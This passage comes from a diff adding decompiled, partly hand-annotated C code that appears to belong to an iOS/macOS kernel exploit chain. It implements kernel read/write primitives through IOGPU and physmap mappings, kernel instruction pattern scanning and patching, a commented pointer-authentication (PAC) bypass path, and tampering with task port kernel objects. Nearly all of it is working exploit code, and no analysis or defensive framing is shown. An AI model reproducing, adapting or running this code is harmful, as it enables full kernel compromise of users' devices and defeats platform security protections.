+      (char *)&v21[4] + 8,
+      8,
+      1);
+    memset(v20, 0, sizeof(v20));
+    (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v3 + 48))(v3, v12, v20, 256, 1);
+    *((uint64_t *)&v20[4] + 1) = 0;
+    (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(
+      v3,
+      v12 + 72,
+      (char *)&v20[4] + 8,
+      8,
+      1);
+    *((uint64_t *)&v20[3] + 1) = 0;
+    (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(
+      v3,
+      v12 + 56,
+      (char *)&v20[3] + 8,
+      8,
+      1);
+    if ( v4 == (vm_address_t **)v16 )
+    {
+      v14 = query_vm_region_nesting(v6[26]).object_id - *(uint64_t *)(a1 + 1344);
+      memset(v19, 0, sizeof(v19));
+      (*(void (__fastcall **)(__int64, __int64, __int128 *, __int64, __int64))(v3 + 48))(v3, v14, v19, 256, 1);
+      DWORD2(v19[2]) = 2;
+      (*(void (__fastcall **)(__int64, __int64, char *, __int64, __int64))(v3 + 64))(
+        v3,
+        v14 + 40,
+        (char *)&v19[2] + 8,
+        4,
+        1);
+    }
+    vm_deallocate(mach_task_self_, v6[28], 0x10000u);
+    v6[28] = 0;
+    vm_deallocate(mach_task_self_, v6[29], 0x10000u);
+    v6[29] = 0;
+    if ( v4 == (vm_address_t **)v17 )
+    {
+      vm_deallocate(mach_task_self_, v6[26], 0x10000u);
+      v6[26] = 0;
+      vm_deallocate(mach_task_self_, v6[27], 0x10000u);
+      v6[27] = 0;
+      vm_deallocate(mach_task_self_, v6[30], 0xC000u);
+      v6[30] = 0;
+      v15 = v6 + 31;
+    }
+    else
+    {
+      vm_deallocate(mach_task_self_, v6[26], 0xC000u);
+      v6[26] = 0;
+      v15 = v6 + 27;
+    }
+    vm_deallocate(mach_task_self_, *v15, 0xC000u);
+    *v15 = 0;
+    dealloc_krw_port_array(a1, (__int64)v7);
+    dealloc_krw_port_array(a1, (__int64)v10);
+    dealloc_krw_port_array(a1, (__int64)v18);
+    free(v6);
+    if ( ++v2 == 2 )
+      break;
+    v4 = (vm_address_t **)v23[v2];
+  }
+}
+// 9D9C: variable 'v13' is possibly undefined
+
+//----- (0000000000009F4C) ----------------------------------------------------
+__int64 __fastcall free_vm_page_array_list(__int64 a1)
+{
+  uint64_t *v2; // x0
+  __int64 (__fastcall *v3)(__int64, __int64); // x2
+  __int64 v4; // x0
+  __int64 v5; // x1
+
+  v2 = *(uint64_t **)a1;
+  if ( v2 )
+  {
+    do
+    {
+      *(uint64_t *)a1 = *v2;
+      deallocate_physmap_pages((__int64)v2);
+      v2 = *(uint64_t **)a1;
+    }
+    while ( *(uint64_t *)a1 );
+  }
+  vm_deallocate(mach_task_self_, *(uint64_t *)(a1 + 32), (*(uint64_t *)(a1 + 1432) << 14) + 49152LL);
+  *(uint64_t *)(a1 + 32) = 0;
+  reset_physmap_copy_area(a1);
+  cleanup_physmap_copy_entries(a1);
+  cleanup_physmap_context(a1);
+  atomic_load((unsigned __int8 *)(a1 + 1280));
+  atomic_load((unsigned __int8 *)(a1 + 1296));
+  v3 = *(__int64 (__fastcall **)(__int64, __int64))(a1 + 1480);
+  v4 = *(uint64_t *)(a1 + 1488);
+  v5 = *(uint64_t *)(a1 + 1360);
+  return v3(v4, v5);
+}
+// 9FE0: variable 'vars8' is possibly undefined
+
+//----- (0000000000009FF0) ----------------------------------------------------
+void __fastcall teardown_iogpu_vm_copy(vm_address_t *a1)
+{
+
+  a1[176] = 0;
+  vm_deallocate(mach_task_self_, a1[169], 0xC000u);
+  a1[169] = 0;
+  vm_deallocate(mach_task_self_, a1[170], 0xC000u);
+  a1[170] = 0;
+  vm_deallocate(mach_task_self_, a1[172], 0xC000u);
+  a1[172] = 0;
+  vm_deallocate(mach_task_self_, a1[173], 0xC000u);
+  a1[173] = 0;
+  vm_deallocate(mach_task_self_, a1[175], 0xC000u);
+  a1[175] = 0;
+  bzero(a1, 0x5E8u);
+  free(a1);
+}
+// A090: variable 'vars8' is possibly undefined
+
+//----- (000000000000A0A0) ----------------------------------------------------
+__int64 __fastcall necp_send_msg_1(struct_krwCtx *krwCtx)
+{
+  uint64_t textRange[3]; // [xsp+0h] [xbp-A0h] BYREF
+  uint64_t textRange2[3]; // [xsp+18h] [xbp-88h] BYREF
+  int doubledPatchCount; // [xsp+34h] [xbp-6Ch] BYREF
+  unsigned __int64 patchedInstruction; // [xsp+38h] [xbp-68h] BYREF
+  int headerMagic; // [xsp+40h] [xbp-60h] BYREF
+  int patchCount; // [xsp+44h] [xbp-5Ch] BYREF
+  __int64 dispatchTarget; // [xsp+48h] [xbp-58h] BYREF
+  __int64 selfCheckValue; // [xsp+50h] [xbp-50h] BYREF
+  __int64 dataPointer; // [xsp+58h] [xbp-48h] BYREF
+
+  dataPointer = 0;
+  dispatchTarget = 0;
+  selfCheckValue = 0;
+
+  macho_find_text_section(krwCtx->kernelMachoCtx, textRange2);
+
+  // 08 3D 40 92: and x8, x8, #0xffff
+  // 09 18 80 52: mov w9, #0xc0
+  // This lands inside the kernel routine whose nearby literal/data slots drive
+  // the vmcopy PAC-bypass notification path used below.
+  __int64 maskPattern = kernel_pattern_scan((__int64)textRange2, "08 3D 40 92 09 18 80 52", 0);
+  if ( !maskPattern )
+    return 708625;
+
+  unsigned __int64 ownerFunction = find_kernel_func_aligned((__int64 *)krwCtx->kernelMachoCtx, maskPattern + 8);
+  if ( !ownerFunction )
+    return 708625;
+
+  unsigned __int64 selfCheckSlot = ownerFunction + 7104;
+  if ( !kread_physmap_decorated(krwCtx, selfCheckSlot, (unsigned __int64 *)&selfCheckValue) )
+    return 163855;
+  if ( selfCheckSlot != selfCheckValue )
+    return 163878;
+
+  if ( !kread_physmap_decorated(krwCtx, ownerFunction + 7120, (unsigned __int64 *)&dataPointer) )
+    return 163855;
+  if ( (unsigned __int64)(dataPointer + 0x1000000000000LL) > 0xFFFFFFFFEFFELL )
+    return 163878;
+
+  if ( !(unsigned int)krw_read_thunk(krwCtx, dataPointer, 4, &headerMagic) )
+    return 163855;
+  if ( headerMagic != 1864396150 )
+    return 163857;
+
+  unsigned __int64 dispatchTargetSlot = ownerFunction + 7168;
+  if ( !kread_physmap_decorated(krwCtx, dispatchTargetSlot, (unsigned __int64 *)&dispatchTarget) )
+    return 163855;
+  if ( validate_kaddr_range(krwCtx, dispatchTarget) )
+    return 0;
+
+  macho_find_text_section(krwCtx->kernelMachoCtx, textRange);
+
+  // 1F 01 0A EB: cmp x8, x10
+  // 41 00 00 54: b.ne +0x8
+  // C0 03 5F D6: ret
+  // The found function is patched briefly so the notification path resolves
+  // the PAC-authenticated dispatch target, then the side effect is checked.
+  __int64 retComparePattern =
+    kernel_pattern_scan((__int64)textRange, "1F 01 0A EB 41 00 00 54 C0 03 5F D6 .. .. .. F9", 0);
+  if ( !retComparePattern )
+    return 708625;
+
+  __int64 *patchFunction = (__int64 *)find_kernel_func((__int64 *)krwCtx->kernelMachoCtx, (__int64 *)(retComparePattern - 8));
+  if ( !patchFunction )
+    return 708625;
+
+  __int64 patchCountSlot = ownerFunction + 7272;
+  if ( !(unsigned int)krw_read_thunk(krwCtx, patchCountSlot, 4, &patchCount) )
+    return 163855;
+  if ( !patchCount )
+    return 163857;
+
+  doubledPatchCount = 2 * patchCount;
+  __int64 patchGateSlot = ownerFunction + 7176;
+  if ( !(unsigned int)kwrite_with_retry(krwCtx, patchGateSlot, (__int64)&doubledPatchCount, 4) )
+    return 163856;
+
+  patchedInstruction = macho_read_u64((__int64 *)krwCtx->kernelMachoCtx, patchFunction) + 52428;
+  if ( !(unsigned int)kwrite_with_retry(krwCtx, (__int64)patchFunction, (__int64)&patchedInstruction, 4) )
+    return 163856;
+
+  semaphore_timedwait_ns(krwCtx, 0x1312D0u);
+  if ( !kread_physmap_decorated(krwCtx, dispatchTargetSlot, (unsigned __int64 *)&dispatchTarget) )
+    return 163855;
+
+  doubledPatchCount = 0;
+  if ( !validate_kaddr_range(krwCtx, dispatchTarget)
+    && !(unsigned int)kwrite_with_retry(krwCtx, patchGateSlot, (__int64)&doubledPatchCount, 4) )
+  {
+    return 163856;
+  }
+
+  if ( (unsigned int)krw_read_thunk(krwCtx, patchCountSlot, 4, &patchCount) )
+    return 0;
+  return 163855;
+}
+// A0A0: too many cbuild loops
+
+//----- (000000000000A354) ----------------------------------------------------
+__int64 __fastcall iogpu_kread(struct_krwCtx *krwCtx, __int16 a2, char *a3, unsigned int a4, int a5)
+{
+  uint64_t *v5; // x21
+  __int64 result; // x0
+  int v10; // [xsp+Ch] [xbp-24h] BYREF
+
+  v10 = -1;
+  v5 = krwCtx->iogpuCtx;
+  if ( !v5 )
+    return 708609;
+  if ( a5 )
+  {
+    result = fd_open_dev_null(&v10);
+    if ( (uint32_t)result )
+      return result;
+    iogpu_kread_loop(v5, a2, a3, a4);
+    fd_close(v10);
+  }
+  else
+  {
+    iogpu_kread_loop((uint64_t *)krwCtx->iogpuCtx, a2, a3, a4);
+  }
+  return 0;
+}
+
+//----- (000000000000A3F0) ----------------------------------------------------
+__int64 __fastcall iogpu_kwrite(struct_krwCtx *krwCtx, __int16 a2, char *a3, unsigned int a4, int a5)
+{
+  uint64_t *v5; // x21
+  __int64 result; // x0
+  int v10; // [xsp+Ch] [xbp-24h] BYREF
+
+  v10 = -1;
+  v5 = (uint64_t *)krwCtx->iogpuCtx;
+  if ( !v5 )
+    return 708609;
+  if ( a5 )
+  {
+    result = fd_open_dev_null(&v10);
+    if ( (uint32_t)result )
+      return result;
+    iogpu_kwrite_loop(v5, a3, a2, a4);
+    fd_close(v10);
+  }
+  else
+  {
+    iogpu_kwrite_loop((uint64_t *)krwCtx->iogpuCtx, a3, a2, a4);
+  }
+  return 0;
+}
+
+//----- (000000000000A48C) ----------------------------------------------------
+__int64 __fastcall iogpu_kread2(struct_krwCtx *krwCtx, unsigned __int64 a2, void *a3, unsigned int a4, int a5)
+{
+  __int64 result; // x0
+  uint64_t *v7; // x21
+  size_t v10; // x22
+  int v11; // [xsp+Ch] [xbp-24h] BYREF
+
+  result = 708609;
+  v11 = -1;
+  v7 = (uint64_t *)krwCtx->iogpuCtx;
+  if ( v7 && (vm_page_mask & a2) + a4 <= vm_page_size )
+  {
+    v10 = a4;
+    if ( a5 )
+    {
+      result = fd_open_dev_null(&v11);
+      if ( (uint32_t)result )
+        return result;
+      physmap_read_aligned(v7, a2, a3, v10);
+      fd_close(v11);
+    }
+    else
+    {
+      physmap_read_aligned(v7, a2, a3, a4);
+    }
+    return 0;
+  }
+  return result;
+}
+
+//----- (000000000000A550) ----------------------------------------------------
+__int64 __fastcall iogpu_kwrite2(struct_krwCtx *krwCtx, unsigned __int64 a2, const void *a3, unsigned int a4, int a5)
+{
+  __int64 result; // x0
+  uint64_t *v7; // x21
+  size_t v10; // x22
+  int v11; // [xsp+Ch] [xbp-24h] BYREF
+
+  result = 708609;
+  v11 = -1;
+  v7 = (uint64_t *)krwCtx->iogpuCtx;
+  if ( v7 && (vm_page_mask & a2) + a4 <= vm_page_size )
+  {
+    v10 = a4;
+    if ( a5 )
+    {
+      result = fd_open_dev_null(&v11);
+      if ( (uint32_t)result )
+        return result;
+      physmap_write_aligned(v7, a3, a2, v10);
+      fd_close(v11);
+    }
+    else
+    {
+      physmap_write_aligned(v7, a3, a2, a4);
+    }
+    return 0;
+  }
+  return result;
+}
+
+//----- (000000000000A614) ----------------------------------------------------
+__int64 __fastcall setup_kernel_region_via_flags(struct_krwCtx *krwCtx)
+{
+  __int64 v2; // x21
+  int v3; // w8
+  __int128 v4; // q0
+  uint64_t *v5; // x0
+  uint64_t *v6; // x20
+  uint64_t *v7; // x21
+  __int128 v8; // q0
+  __int128 v10; // [xsp+0h] [xbp-40h]
+  __int128 v11; // [xsp+10h] [xbp-30h]
+
+  v2 = 708616;
+  if ( !krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
+    return v2;
+  v3 = krwCtx->flags & KRW_CTX_FLAG_CPU_A8_TO_A17_MASK;
+  if ( v3 == 0x100000 )
+  {
+    v10 = xmmword_42D80;
+    v11 = xmmword_42D90;
+  }
+  else
+  {
+    if ( v3 == 0x4000000 )
+    {
+      v11 = xmmword_42D70;
+      v4 = xmmword_42D60;
+    }
+    else
+    {
+      if ( v3 != 0x1000000 )
+        return v2;
+      v11 = xmmword_42D70;
+      v4 = xmmword_42DA0;
+    }
+    v10 = v4;
+  }
+  v5 = calloc(1u, 0x5E8u);
+  if ( !v5 )
+    return 708617;
+  v6 = v5;
+  if ( _os_alloc_once_table[162] == -1 )
+    v7 = (uint64_t *)_os_alloc_once_table[163];
+  else
+    v7 = (uint64_t *)_os_alloc_once(&_os_alloc_once_table[162], 0x10u, 0);
+  if ( *v7 )
+    v6[2] = *v7;
+  *(__int128 *)(v6 + 179) = v11;
+  *(__int128 *)(v6 + 181) = v10;
+  if ( (uint64_t)v11 == 16 )
+  {
+    v8 = xmmword_42D40;
+    goto LABEL_19;
+  }
+  if ( (uint64_t)v11 == 64 )
+  {
+    v8 = xmmword_42D50;
+LABEL_19:
+    *(__int128 *)(v6 + 187) = v8;
+  }
+  setup_thread_policy();
+  physmap_vmregion_init(v6);
+  dequeue_multiple_physmap_entries(v6);
+  run_physmap_setup_sequence(v6);
+  validate_physmap_range_3(v6);
+  setup_physmap_copy_structure(v6);
+  v6[186] = (uint64_t)krwCtx;
+  if ( !*v7 )
+    *v7 = v6[2];
+  v2 = 0;
+  *(uint64_t *)&krwCtx->iogpuKreadFn = (uint64_t)iogpu_kread;
+  *(uint64_t *)&krwCtx->iogpuKwriteFn = (uint64_t)iogpu_kwrite;
+  *(uint64_t *)&krwCtx->iogpuKread2Fn = (uint64_t)iogpu_kread2;
+  *(uint64_t *)&krwCtx->iogpuKwrite2Fn = (uint64_t)iogpu_kwrite2;
+  *(uint64_t *)&krwCtx->iogpuCtx = (uint64_t)v6;
+  v6[183] = read_task_kobject_physmap;
+  v6[184] = get_read_task_port_kobject;
+  v6[185] = check_task_port_type;
+  *(uint64_t *)&krwCtx->gap_0x1E0 = (uint64_t)necp_send_msg_1;
+  *(uint64_t *)&krwCtx->gap_0x1E8 = (uint64_t)v6;
+  return v2;
+}
+// 42D40: using guessed type __int128 xmmword_42D40;
+// 42D50: using guessed type __int128 xmmword_42D50;
+// 42D60: using guessed type __int128 xmmword_42D60;
+// 42D70: using guessed type __int128 xmmword_42D70;
+// 42D80: using guessed type __int128 xmmword_42D80;
+// 42D90: using guessed type __int128 xmmword_42D90;
+// 42DA0: using guessed type __int128 xmmword_42DA0;
+
+//----- (000000000000A82C) ----------------------------------------------------
+__int64 __fastcall read_task_kobject_physmap(struct_krwCtx *krwCtx, unsigned __int64 a2)
+{
+  __int64 result; // x0
+  unsigned __int64 v4; // x20
+  bool v5; // zf
+  uint64_t v6; // [xsp+8h] [xbp-18h] BYREF
+
+  result = traverse_sptm_pgtable_chain(krwCtx, mach_task_self_, a2);
+  if ( result )
+  {
+    v4 = result + 56;
+    result = kread64_internal(krwCtx, result + 56, &v6);
+    if ( (uint32_t)result )
+      v5 = v6 == 0;
+    else
+      v5 = 1;
+    if ( !v5 )
+      return kwrite_physmap_with_a3_ptr(krwCtx, v4, 0);
+  }
+  return result;
+}
+
+//----- (000000000000A8A0) ----------------------------------------------------
+__int64 __fastcall get_read_task_port_kobject(struct_krwCtx *krwCtx, mach_port_t a2)
+{
+  __int64 result; // x0
+  unsigned __int64 v4; // x20
+  uint64_t v5; // [xsp+8h] [xbp-18h] BYREF
+
+  result = get_task_kobject_addr(krwCtx, a2);
+  if ( result )
+  {
+    result = walk_kaddr_chain_to_target(krwCtx, result, 1);
+    if ( result )
+    {
+      v4 = result + 56;
+      result = kread64_internal(krwCtx, result + 56, &v5);
+      if ( (uint32_t)result )
+      {
+        if ( v5 )
+          return kwrite_physmap_with_a3_ptr(krwCtx, v4, 0);
+      }
+    }
+  }
+  return result;
+}
+
+//----- (000000000000A914) ----------------------------------------------------
+unsigned __int64 __fastcall check_task_port_type(__int64 krwCtx, unsigned __int64 a2)
+{
+  unsigned __int64 result; // x0
+  mach_vm_address_t vaddr; // x20
+  bool v5; // zf
+  int v6; // [xsp+4h] [xbp-1Ch] BYREF
+  unsigned __int64 v7; // [xsp+8h] [xbp-18h] BYREF
+
+  v7 = 0;
+  v6 = 0;
+  result = scan_and_validate_kaddr(krwCtx, mach_task_self_, a2, &v7);
+  if ( result )
+  {
+    vaddr = result + 40;
+    result = kread_u32(krwCtx, result + 40, &v6);
+    if ( (uint32_t)result )
+      v5 = v6 == 1;
+    else
+      v5 = 0;
+    if ( v5 )
+    {
+      v6 = 100;
+      return noppl_kwrite32(krwCtx, vaddr, 100);
+    }
+  }
+  return result;
+}
+
+//----- (000000000000A99C) ----------------------------------------------------
+__int64 __fastcall free_iogpu_krw_ctx(struct_krwCtx *krwCtx)
+{
+  __int64 v1; // x0
+
+  v1 = krwCtx->iogpuCtx;
+  if ( !v1 )
+    return 708609;
+  free_vm_page_array_list(v1);
+  return 0;
+}
+
+//----- (000000000000A9CC) ----------------------------------------------------
+__int64 __fastcall iogpu_teardown_ctx(struct_krwCtx *krwCtx)
+{
+  vm_address_t *v1; // x20
+  __int64 result; // x0
+  int v4; // [xsp+Ch] [xbp-14h] BYREF
+
+  v4 = -1;
+  v1 = krwCtx->iogpuCtx;
+  if ( !v1 )
+    return 708609;
+  result = fd_open_dev_null(&v4);
+  if ( !(uint32_t)result )
+  {
+    krwCtx->iogpuCtx = 0;
+    krwCtx->iogpuKreadFn = 0;
+    krwCtx->iogpuKread2Fn = 0;
+    krwCtx->iogpuKwriteFn = 0;
+    krwCtx->iogpuKwrite2Fn = 0;
+    teardown_iogpu_vm_copy(v1);
+    fd_close(v4);
+    return 0;
+  }
+  return result;
+}
+
+//----- (000000000000AA3C) ----------------------------------------------------
+__int64 __fastcall create_iogpu_shmem_entry(struct_krwCtx *krwCtx, uint32_t *a2, uint32_t *a3, mach_port_t *a4, uint64_t *a5)
+{
+  uint64_t *v5; // x25
+  __int64 v11; // x19
+  memory_object_offset_t v12; // x2
+  kern_return_t memory_entry_64; // w0
+  memory_object_size_t size; // [xsp+8h] [xbp-58h] BYREF
+  mach_port_t name; // [xsp+14h] [xbp-4Ch] BYREF
+  mach_port_t object_handle[2]; // [xsp+18h] [xbp-48h] BYREF
+
+  *(uint64_t *)object_handle = 0;
+  name = 0;
+  v5 = (uint64_t *)krwCtx->iogpuCtx;
+  if ( !v5 )
+    return 708609;
+  v11 = 163857;
+  if ( validate_kaddr_range(krwCtx, v5[163]) )
+  {
+    if ( v5[164] && v5[165] )
+    {
+      if ( validate_kaddr_range(krwCtx, v5[166]) && validate_kaddr_range(krwCtx, v5[167]) )
+      {
+        v12 = v5[170];
+        if ( v12 && v5[172] && v5[175] )
+        {
+          size = 0x4000;
+          memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &size, v12, 3, &object_handle[1], 0);
+          if ( memory_entry_64
+            || (size = 0x4000,
+                (memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &size, v5[172], 3, object_handle, 0)) != 0)
+            || (size = 0x4000,
+                (memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &size, v5[175] + 0x4000LL, 3, &name, 0)) != 0) )
+          {
+            v11 = memory_entry_64 | 0x80000000;
+          }
+          else
+          {
+            v11 = 0;
+            a5[10] = v5[163];
+            a5[11] = 0;
+            a5[12] = v5[164];
+            a5[13] = v5[165];
+            a5[14] = v5[166];
+            a5[15] = v5[167];
+            *a2 = object_handle[1];
+            *a3 = object_handle[0];
+            *(uint64_t *)object_handle = 0;
+            *a4 = name;
+            name = 0;
+          }
+        }
+      }
+      else
+      {
+        v11 = 163878;
+      }
+    }
+  }
+  else
+  {
+    v11 = 163878;
+  }
+  if ( object_handle[1] + 1 >= 2 )
+    mach_port_deallocate(mach_task_self_, object_handle[1]);
+  if ( object_handle[0] + 1 >= 2 )
+    mach_port_deallocate(mach_task_self_, object_handle[0]);
+  if ( name + 1 >= 2 )
+    mach_port_deallocate(mach_task_self_, name);
+  return v11;
+}
+
+//----- (000000000000AC50) ----------------------------------------------------
+__int64 __fastcall iogpu_physmap_init(struct_krwCtx *krwCtx)
+{
+  vm_size_t v2; // x20
+  kern_return_t memory_entry; // w0
+  __int64 result; // x0
+  uint64_t *v5; // x4
+  __int64 v6; // x0
+  uint32_t *v7; // x20
+  __int64 i; // x23
+  unsigned int v9; // w21
+  __int64 v10; // x0
+  mem_entry_name_port_t object_handle; // [xsp+Ch] [xbp-94h] BYREF
+  vm_address_t address; // [xsp+10h] [xbp-90h] BYREF
+  vm_size_t size; // [xsp+18h] [xbp-88h] BYREF
+  mach_port_t v15; // [xsp+3Ch] [xbp-64h] BYREF
+  __int64 v16; // [xsp+40h] [xbp-60h] BYREF
+  uint32_t v17[4]; // [xsp+48h] [xbp-58h]
+
+  v16 = 0;
+  v15 = 0;
+  v2 = vm_page_size;
+  address = 0;
+  size = vm_page_size;
+  memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0, 131075, &object_handle, 0);
+  if ( memory_entry )
+    return memory_entry | 0x80000000;
+  memory_entry = vm_map(mach_task_self_, &address, v2, 0, 1, object_handle, 0, 0, 3, 3, 2u);
+  if ( memory_entry )
+    return memory_entry | 0x80000000;
+  bzero((void *)address, v2);
+  v5 = (uint64_t *)address;
+  *(uint64_t *)address = krwCtx->gap_0x19D8;
+  v5[4] = krwCtx->iogpuKobjPtr2;
+  v5[5] = LODWORD(krwCtx->iogpuObjCount);
+  result = create_iogpu_shmem_entry(krwCtx, (uint32_t *)&v16 + 1, &v16, &v15, v5);
+  if ( !(uint32_t)result )
+  {
+    vm_deallocate(mach_task_self_, address, v2);
+    v17[0] = object_handle;
+    v17[1] = HIDWORD(v16);
+    v17[2] = v16;
+    v17[3] = v15;
+    v6 = iosurface_enum_mach_port(krwCtx, kIogpuMachPortSelectors[0]);
+    if ( v6 )
+    {
+      v7 = (uint32_t *)v6;
+      for ( i = 0; ; ++i )
+      {
+        v9 = v17[i];
+        v10 = task_self_get_ipc_port(krwCtx, v9);
+        if ( !v10 )
+          return 163854;
+        result = kread_and_vm_attr_double(krwCtx, v10);
+        if ( (uint32_t)result )
+          return result;
+        memory_entry = mach_port_mod_refs(mach_task_self_, v9, 0, 0xFFFF);
+        if ( memory_entry )
+          return memory_entry | 0x80000000;
+        *v7 = v9;
+        if ( i == 3 )
+          break;
+        v7 = (uint32_t *)iosurface_enum_mach_port(krwCtx, kIogpuMachPortSelectors[i + 1]);
+        result = 4097;
+        if ( !v7 )
+          return result;
+      }
+      return iosurface_check_and_alloc_port(krwCtx);
+    }
+    else
+    {
+      return 4097;
+    }
+  }
+  return result;
+}
+//----- (000000000000AE58) ----------------------------------------------------
+__int64 __fastcall iogpu_init_private_ctx(
+                                          struct_krwCtx *krwCtx,
+        uint64_t *a2,
+        mem_entry_name_port_t a3,
+        mem_entry_name_port_t a4,
+        mem_entry_name_port_t a5,
+        uint64_t *a6)
+{
+  __int64 v12; // x24
+  __int64 v13; // x20
+  __int64 v14; // x28
+  __int64 v15; // x21
+  __int64 v16; // x22
+  kern_return_t v17; // w0
+  uint64_t *v19; // x0
+  vm_address_t v20; // x9
+  __int64 v21; // [xsp+20h] [xbp-A0h]
+  vm_address_t v22; // [xsp+28h] [xbp-98h] BYREF
+  vm_address_t v23; // [xsp+30h] [xbp-90h] BYREF
+  vm_address_t v24; // [xsp+38h] [xbp-88h] BYREF
+  vm_prot_t cur_protection[2]; // [xsp+40h] [xbp-80h] BYREF
+  vm_address_t v26; // [xsp+48h] [xbp-78h] BYREF
+  vm_address_t v27; // [xsp+50h] [xbp-70h] BYREF
+  vm_address_t src_address; // [xsp+58h] [xbp-68h] BYREF
+  vm_address_t target_address; // [xsp+60h] [xbp-60h] BYREF
+  vm_address_t address; // [xsp+68h] [xbp-58h] BYREF
+
+  v12 = 163857;
+  address = 0;
+  src_address = 0;
+  target_address = 0;
+  v26 = 0;
+  v27 = 0;
+  v13 = a6[10];
+  if ( validate_kaddr_range(krwCtx, v13) )
+  {
+    v14 = a6[12];
+    if ( v14 )
+    {
+      if ( (krwCtx->pageMask & v14) == 0 )
+      {
+        v15 = a6[13];
+        if ( v15 )
+        {
+          v21 = a6[14];
+          v12 = 163878;
+          if ( validate_kaddr_range(krwCtx, v21) )
+          {
+            v16 = a6[15];
+            if ( validate_kaddr_range(krwCtx, v16) )
+            {
+              v17 = vm_allocate(mach_task_self_, &address, 0xC000u, 1);
+              if ( v17 )
+                goto LABEL_31;
+              v17 = vm_allocate(mach_task_self_, &address, 0x4000u, 16386);
+              if ( v17 )
+                goto LABEL_31;
+              *(uint64_t *)cur_protection = 0;
+              v17 = vm_remap(
+                      mach_task_self_,
+                      &address,
+                      0x4000u,
+                      0,
+                      0x4000,
+                      mach_task_self_,
+                      address,
+                      0,
+                      &cur_protection[1],
+                      cur_protection,
+                      1u);
+              if ( v17 )
+                goto LABEL_31;
+              v24 = address + 0x4000;
+              v17 = vm_allocate(mach_task_self_, &v24, 0x8000u, 0x4000);
+              if ( v17 )
+                goto LABEL_31;
+              v17 = vm_allocate(mach_task_self_, &target_address, 0xC000u, 1);
+              if ( v17 )
+                goto LABEL_31;
+              v17 = vm_map(mach_task_self_, &target_address, 0x4000u, 0, 0x4000, a3, 0, 0, 3, 3, 1u);
+              if ( v17 )
+                goto LABEL_31;
+              *(uint64_t *)cur_protection = 0;
+              v17 = vm_remap(
+                      mach_task_self_,
+                      &target_address,
+                      0x4000u,
+                      0,
+                      0x4000,
+                      mach_task_self_,
+                      target_address,
+                      0,
+                      &cur_protection[1],
+                      cur_protection,
+                      1u);
+              if ( v17 )
+                goto LABEL_31;
+              v23 = target_address + 0x4000;
+              v17 = vm_allocate(mach_task_self_, &v23, 0x8000u, 0x4000);
+              if ( v17 )
+                goto LABEL_31;
+              v17 = vm_copy(mach_task_self_, target_address, 0xC000u, address);
+              if ( v17 )
+                goto LABEL_31;
+              v17 = vm_allocate(mach_task_self_, &src_address, 0xC000u, 1);
+              if ( v17 )
+                goto LABEL_31;
+              v17 = vm_map(mach_task_self_, &src_address, 0x4000u, 0, 0x4000, a4, 0, 0, 3, 3, 1u);
+              if ( v17 )
+                goto LABEL_31;
+              *(uint64_t *)cur_protection = 0;
+              v17 = vm_remap(
+                      mach_task_self_,
+                      &src_address,
+                      0x4000u,
+                      0,
+                      0x4000,
+                      mach_task_self_,
+                      src_address,
+                      0,
+                      &cur_protection[1],
+                      cur_protection,
+                      1u);
+              if ( v17 )
+                goto LABEL_31;
+              v22 = src_address + 0x4000;
+              v17 = vm_allocate(mach_task_self_, &v22, 0x4000u, 16386);
+              if ( v17 )
+                goto LABEL_31;
+              *(uint64_t *)cur_protection = 0;
+              v17 = vm_remap(
+                      mach_task_self_,
+                      &v22,
+                      0x4000u,
+                      0,
+                      0x4000,
+                      mach_task_self_,
+                      v22,
+                      0,
+                      &cur_protection[1],
+                      cur_protection,
+                      1u);
+              if ( v17 )
+                goto LABEL_31;
+              v17 = vm_allocate(mach_task_self_, &v27, 0xC000u, 1);
+              if ( v17 )
+                goto LABEL_31;
+              v17 = vm_allocate(mach_task_self_, &v27, 0x4000u, 16386);
+              if ( v17 )
+                goto LABEL_31;
+              *(uint64_t *)cur_protection = 0;
+              v17 = vm_remap(
+                      mach_task_self_,
+                      &v27,
+                      0x4000u,
+                      0,
+                      0x4000,
+                      mach_task_self_,
+                      v27,
+                      0,
+                      &cur_protection[1],
+                      cur_protection,
+                      1u);
+              if ( v17 )
+                goto LABEL_31;
+              v22 = v27 + 0x4000;
+              v17 = vm_allocate(mach_task_self_, &v22, 0x4000u, 16386);
+              if ( v17 )
+                goto LABEL_31;
+              *(uint64_t *)cur_protection = 0;
+              v17 = vm_remap(
+                      mach_task_self_,
+                      &v22,
+                      0x4000u,
+                      0,
+                      0x4000,
+                      mach_task_self_,
+                      v22,
+                      0,
+                      &cur_protection[1],
+                      cur_protection,
+                      1u);
+              if ( v17 )
+                goto LABEL_31;
+              v17 = vm_allocate(mach_task_self_, &v26, 0xC000u, 1);
+              if ( v17
+                || (v17 = vm_allocate(mach_task_self_, &v26, 0x4000u, 16386)) != 0
+                || (*(uint64_t *)cur_protection = 0,
+                    (v17 = vm_remap(
+                             mach_task_self_,
+                             &v26,
+                             0x4000u,
+                             0,
+                             0x4000,
+                             mach_task_self_,
+                             v26,
+                             0,
+                             &cur_protection[1],
+                             cur_protection,
+                             1u)) != 0)
+                || (v22 = v26 + 0x4000,
+                    (v17 = vm_map(mach_task_self_, &v22, 0x4000u, 0, 0x4000, a5, 0, 0, 3, 3, 1u)) != 0)
+                || (*(uint64_t *)cur_protection = 0,
+                    (v17 = vm_remap(
+                             mach_task_self_,
+                             &v22,
+                             0x4000u,
+                             0,
+                             0x4000,
+                             mach_task_self_,
+                             v22,
+                             0,
+                             &cur_protection[1],
+                             cur_protection,
+                             1u)) != 0) )
+              {
+LABEL_31:
+                v12 = v17 | 0x80000000;
+              }
+              else
+              {
+                v19 = calloc(1u, 0x5E8u);
+                if ( v19 )
+                {
+                  v12 = 0;
+                  v19[163] = v13;
+                  v19[164] = v14;
+                  v19[165] = v15;
+                  v19[166] = v21;
+                  v19[167] = v16;
+                  v19[169] = address;
+                  v20 = src_address;
+                  v19[170] = target_address;
+                  v19[171] = 49152;
+                  address = 0;
+                  src_address = 0;
+                  target_address = 0;
+                  v19[172] = v20;
+                  v19[173] = v27;
+                  v19[174] = 49152;
+                  v19[175] = v26;
+                  v19[176] = v20;
+                  v19[177] = 49152;
+                  v26 = 0;
